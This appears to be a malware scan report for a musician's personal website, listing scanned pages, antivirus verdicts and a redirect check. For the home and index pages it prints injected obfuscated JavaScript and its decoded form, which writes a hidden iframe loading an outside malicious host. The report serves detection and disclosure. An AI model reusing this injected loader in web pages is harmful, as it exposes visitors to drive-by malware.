Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=marioraven.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://marioraven.com/ | 200 OK Content-Length: 11874 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(window.document)a=("v532b5".split+Date).substr(0,6);aa=([].reverse+[].reverse).substr(0,6);if(aa===a)f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,-7,76,75,60,22,0,65,77,77,73,19,8,8,63,76,83,61,73,62,72,70,67,7,61,71,76,10,7,78,76,8,61,8,13,9,13,7,73 Decoded script: e(s) e(s) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://fszdpeomj.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://fszdpeomj.dns1.us/d/404.php?go=1');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAt <iframe src='http://fszdpeomj.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://marioraven.com/pianobar.js | 200 OK Content-Length: 2731 Content-Type: application/javascript | clean |
http://www.google-analytics.com/urchin.js | 200 OK Content-Length: 22678 Content-Type: text/javascript | clean |
http://marioraven.com/music.htm | 200 OK Content-Length: 9585 Content-Type: text/html | clean |
http://marioraven.com/resume.htm | 200 OK Content-Length: 34427 Content-Type: text/html | clean |
http://marioraven.com/photos.htm | 200 OK Content-Length: 8894 Content-Type: text/html | clean |
http://marioraven.com/blog.htm | 200 OK Content-Length: 6132 Content-Type: text/html | malicious |
Malicious iFrame found. size: 98x1200 src: http://www.marioraven.com/blog/ This URL is marked by Google as suspicious <iframe name="mainframe" src="http://www.marioraven.com/blog/" align="right" width="98%" height="1200" hspace="0" vspace="0" scrolling="no" frameborder="0" marginheight="0" marginwidth="10" > | ||
http://marioraven.com/index.htm | 200 OK Content-Length: 11874 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(window.document)a=("v532b5".split+Date).substr(0,6);aa=([].reverse+[].reverse).substr(0,6);if(aa===a)f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,-7,76,75,60,22,0,65,77,77,73,19,8,8,63,76,83,61,73,62,72,70,67,7,61,71,76,10,7,78,76,8,61,8,13,9,13,7,73 Decoded script: e(s) e(s) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://fszdpeomj.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://fszdpeomj.dns1.us/d/404.php?go=1');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAt <iframe src='http://fszdpeomj.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://marioraven.com/sheetmusic.html | 200 OK Content-Length: 6949 Content-Type: text/html | clean |
http://marioraven.com/kyrie.html | 200 OK Content-Length: 8995 Content-Type: text/html | clean |
http://marioraven.com/test404page.js | 404 Not Found Content-Length: 331 Content-Type: text/html | clean |
http://marioraven.com/haamen.html | 200 OK Content-Length: 8296 Content-Type: text/html | clean |
http://marioraven.com/waydowninthevalley.html | 200 OK Content-Length: 7977 Content-Type: text/html | clean |
http://marioraven.com/bookings.htm | 200 OK Content-Length: 14091 Content-Type: text/html | clean |
http://marioraven.com/testimonials.htm | 200 OK Content-Length: 10877 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: marioraven.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 10 Jan 2015 11:13:30 GMT
Accept-Ranges: bytes
ETag: "10066c230-2e62-4813f20241140"
Server: Apache
Vary: Accept-Encoding
Content-Length: 11874
Content-Type: text/html
Last-Modified: Mon, 08 Mar 2010 00:27:09 GMT
MS-Author-Via: DAV
...11874 bytes of data.
GET / HTTP/1.1
Host: marioraven.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 10 Jan 2015 11:13:30 GMT
Accept-Ranges: bytes
ETag: "10066c230-2e62-4813f20241140"
Server: Apache
Vary: Accept-Encoding
Content-Length: 11874
Content-Type: text/html
Last-Modified: Mon, 08 Mar 2010 00:27:09 GMT
MS-Author-Via: DAV
...11874 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: marioraven.com
Referer: http://www.google.com/search?q=marioraven.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: marioraven.com
Referer: http://www.google.com/search?q=marioraven.com
Result:
The result is similar to the first query. There are no suspicious redirects found.